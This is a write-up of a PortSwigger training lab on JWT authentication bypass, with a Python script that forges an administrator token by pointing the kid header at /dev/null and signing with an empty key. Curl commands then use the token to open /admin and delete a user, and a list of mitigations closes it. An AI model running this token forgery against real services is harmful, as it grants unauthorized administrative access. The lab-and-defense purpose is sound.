JWT Authentication Bypass via kid Header Path Traversal

Lab Description (contains spoilers)

JWT · Portswigger Lab ↗

This lab uses a JWT-based mechanism for handling sessions. In order to verify the signature, the server uses the kid parameter in JWT header to fetch the relevant key from its filesystem. To solve the lab, forge a JWT that gives you access to the admin panel at /admin, then delete the user carlos. You can log in to your own account using the following credentials: wiener:peter

March 13, 2025

Necessary Background Concepts To Solve The Lab

JWT Fundamentals

What is JWT (JSON Web Token)?

JWT is a compact, URL-safe means of representing Claims* to be transferred between two parties. It’s commonly used for authentication and information exchange in web applications. It uses base64 encoding to ensure URL-safe transmission.

A JWT consists of three parts separated by dots (.):

header.payload.signature

For example:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ3aWVuZXIiLCJleHAiOjE3NzIxOTg5NTd9.signature_here

Breaking down each part:

1. Header (Base64URL encoded JSON):

{
  "kid": "170c351e-58cc-4e4b-9116-6e7924337580",
  "alg": "HS256"
}
  • alg: The signing algorithm (HS256 = HMAC-SHA256)
  • kid: Key ID (optional identifier for the signing key)

2. Payload (Base64URL encoded JSON):

{
  "iss": "portswigger",
  "exp": 1772198957,
  "sub": "wiener"
}
  • iss: Issuer of the token
  • exp: Expiration timestamp
  • sub: Subject (usually the username)

3. Signature: The signature is created by taking the encoded header and payload, and signing them with a secret key using the algorithm specified in the header:

# Pseudocode

message = base64UrlEncode(header) + "." + base64UrlEncode(payload) 

key = JWT_SECRET # It could be a password, API key, UUID, or any other string

signature = HMACSHA256(message, key)  # This is just the signature part, not the complete JWT

The signature ensures that the token hasn’t been tampered with. If an attacker modifies the header or payload, the signature won’t match unless they know the secret key.

The complete JWT would be constructed as:

# Pseudocode

jwt = base64UrlEncode(header) + "." + base64UrlEncode(payload) + "." + signature
JWT kid Header & Path Traversal

What is the kid Header Parameter?

The kid (Key ID) is an optional header parameter in a JWT that tells the server which key to use to verify the token’s signature. This is useful when a server manages multiple signing keys.

{
  "kid": "dade186d-6d19-4584-ab27-737975e1611f",
  "alg": "HS256"
}

The server receives the JWT, reads the kid value, and uses it to look up the corresponding signing key. The implementation of this lookup varies. Some servers use a database, others use the filesystem.

Path Traversal via kid

When the server fetches the signing key from the filesystem using the kid value, it becomes vulnerable to directory traversal if the input is not sanitized. An attacker can manipulate kid to point to any file with known contents:

{
  "kid": "../../../../../../../dev/null",
  "alg": "HS256"
}

On Linux, /dev/null is a special file that always returns empty content. By pointing kid to it, the server will use an empty string as the signing key. The attacker can then sign their forged JWT with an empty string, and the server will accept it as valid.

Writeup

Let’s explore the lab’s login page directly and log in to get a valid JWT session token:

curl -s "https://<lab-url>.web-security-academy.net/login" | cat

Command breakdown:
-s = silent mode (no progress meter)
| cat = pipe response to my customized cat command to maximize gigachad output

The login page has a simple form with a CSRF token:

<form class=login-form method=POST action="/login">
    <input required type="hidden" name="csrf" value="jZEVDXEhHL3f8X18WduPNbFU266yB8PE">
    <label>Username</label>
    <input required type=username name="username" autofocus>
    <label>Password</label>
    <input required type=password name="password">
    <button class=button type=submit> Log in </button>
</form>

Let’s log in with the provided credentials:

curl -D - "https://<lab-url>.web-security-academy.net/login" -d "csrf=jZEVDXEhHL3f8X18WduPNbFU266yB8PE&username=wiener&password=peter"

Command breakdown:
-D - = dump response headers to stdout
-d "csrf=...&username=wiener&password=peter" = send POST data (automatically sets method to POST and Content-Type to application/x-www-form-urlencoded)

Response:

HTTP/2 302 
location: /my-account?id=wiener
set-cookie: session=eyJraWQiOiJkYWRlMTg2ZC02ZDE5LTQ1ODQtYWIyNy03Mzc5NzVlMTYxMWYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3MzQwMTg5NCwic3ViIjoid2llbmVyIn0.whMw5vTopqo88l65CSzqHS4F_YMCnfOPtJBCwH9CPw4; Secure; HttpOnly; SameSite=None

The session cookie is a JWT token. Let’s decode it to understand its structure:

echo "eyJraWQiOiJkYWRlMTg2ZC02ZDE5LTQ1ODQtYWIyNy03Mzc5NzVlMTYxMWYiLCJhbGciOiJIUzI1NiJ9" | base64 -d | jq . | cat

Command breakdown:
echo "..." = output the JWT header part
base64 -d = decode base64
jq . = pretty-print JSON
cat = maximize gigachad output

Header output:

{
  "kid": "dade186d-6d19-4584-ab27-737975e1611f",
  "alg": "HS256"
}

Now decode the payload:

echo "eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3MzQwMTg5NCwic3ViIjoid2llbmVyIn0" | base64 -d | jq .

Payload output:

{
  "iss": "portswigger",
  "exp": 1773401894,
  "sub": "wiener"
}

The JWT uses HS256 (HMAC-SHA256) for signing and includes a kid (Key ID) parameter in the header. According to the lab description, the server uses this kid parameter to fetch the relevant signing key from its filesystem. This is the critical detail. If the kid value is used to construct a file path without proper sanitization, we can exploit a path traversal vulnerability.

The idea is simple: point kid to /dev/null via a path traversal sequence. Since /dev/null returns empty content, the server will use an empty string as the signing key. We can then forge a JWT signed with that same empty string.

Let’s create a Python script to forge the admin JWT:

import hmac
import hashlib
import base64

# Transforms string to base64 string
def b64(string): return base64.urlsafe_b64encode(string).decode().rstrip('=')

# Forge header with kid pointing to /dev/null via path traversal
header = '{"kid":"../../../../../../../dev/null","alg":"HS256"}'

# Forge payload with sub=administrator
payload = '{"iss":"portswigger","exp":1773401894,"sub":"administrator"}'

# Put together the message part of the JWT
message = f"{b64(header.encode())}.{b64(payload.encode())}"

# Sign with empty string (the content of /dev/null)
signature = b64(hmac.new(b'', message.encode(), hashlib.sha256).digest())

forged_jwt = f"{message}.{signature}"

print(forged_jwt)

Script breakdown:
The script forges an administrator JWT by:

  1. Crafting the header with kid set to ../../../../../../../dev/null using path traversal to point to a file with empty content
  2. Crafting the payload with "sub": "administrator" to impersonate the admin
  3. Signing the JWT with an empty string (b'') as the HMAC-SHA256 key, matching what the server will read from /dev/null
  4. Assembling header, payload, and signature into a complete JWT

Expected output:

eyJraWQiOiIuLi8uLi8uLi8uLi8uLi8uLi8uLi9kZXYvbnVsbCIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3MzQwMTg5NCwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.0CPsUNxkYuo09m3xARyLb-_wJs-1KYsKS6rTcIxxT_o

Let’s verify by decoding the forged header:

echo "eyJraWQiOiIuLi8uLi8uLi8uLi8uLi8uLi8uLi9kZXYvbnVsbCIsImFsZyI6IkhTMjU2In0" | base64 -d | jq .

Output:

{
  "kid": "../../../../../../../dev/null",
  "alg": "HS256"
}

Now let’s access the admin panel with our forged JWT:

curl -s "https://<lab-url>.web-security-academy.net/admin" \
  -b "session=eyJraWQiOiIuLi8uLi8uLi8uLi8uLi8uLi8uLi9kZXYvbnVsbCIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3MzQwMTg5NCwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.0CPsUNxkYuo09m3xARyLb-_wJs-1KYsKS6rTcIxxT_o" \
  | grep "carlos"

Command breakdown:
-b "session=..." = send the forged JWT as a session cookie
grep "carlos" = show lines containing “carlos”

Response:

<span>carlos - </span>
<a href="/admin/delete?username=carlos">Delete</a>

We have admin access. Now let’s delete the user carlos:

curl -s "https://<lab-url>.web-security-academy.net/admin/delete?username=carlos" \
  -b "session=eyJraWQiOiIuLi8uLi8uLi8uLi8uLi8uLi8uLi9kZXYvbnVsbCIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3MzQwMTg5NCwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.0CPsUNxkYuo09m3xARyLb-_wJs-1KYsKS6rTcIxxT_o"

The path traversal through kid let us nullify the signing key and forge an admin token, absolutely dominating the authentication system and eradicating carlos like a true gigachad.

Mitigation Strategies

  1. Sanitize the kid parameter: Never use the kid value directly in filesystem operations. Strip path traversal sequences (../) and validate against an allowlist of known key identifiers
  2. Use a key store instead of the filesystem: Look up signing keys from a database or dedicated key management service rather than reading files from disk
  3. Validate JWT claims server-side: Always verify the issuer (iss), expiration (exp), and other claims independently of the signature verification
  4. Use asymmetric algorithms: Consider RS256 or ES256 instead of HS256. With asymmetric algorithms, the signing key (private) is never derived from user-controlled input
  5. Restrict key file access: If filesystem-based key lookup is unavoidable, ensure the process runs with minimal file permissions and keys are stored in a dedicated, isolated directory

References

kid (Key ID)* is an optional JWT header parameter defined in RFC 7515 Section 4.1.4. It is a hint indicating which key was used to secure the JWS (JSON Web Signature).

Resources

JWT.io Debugger This is an interactive tool for decoding, verifying, and debugging JWT tokens. It was also useful for me when I was a web developer.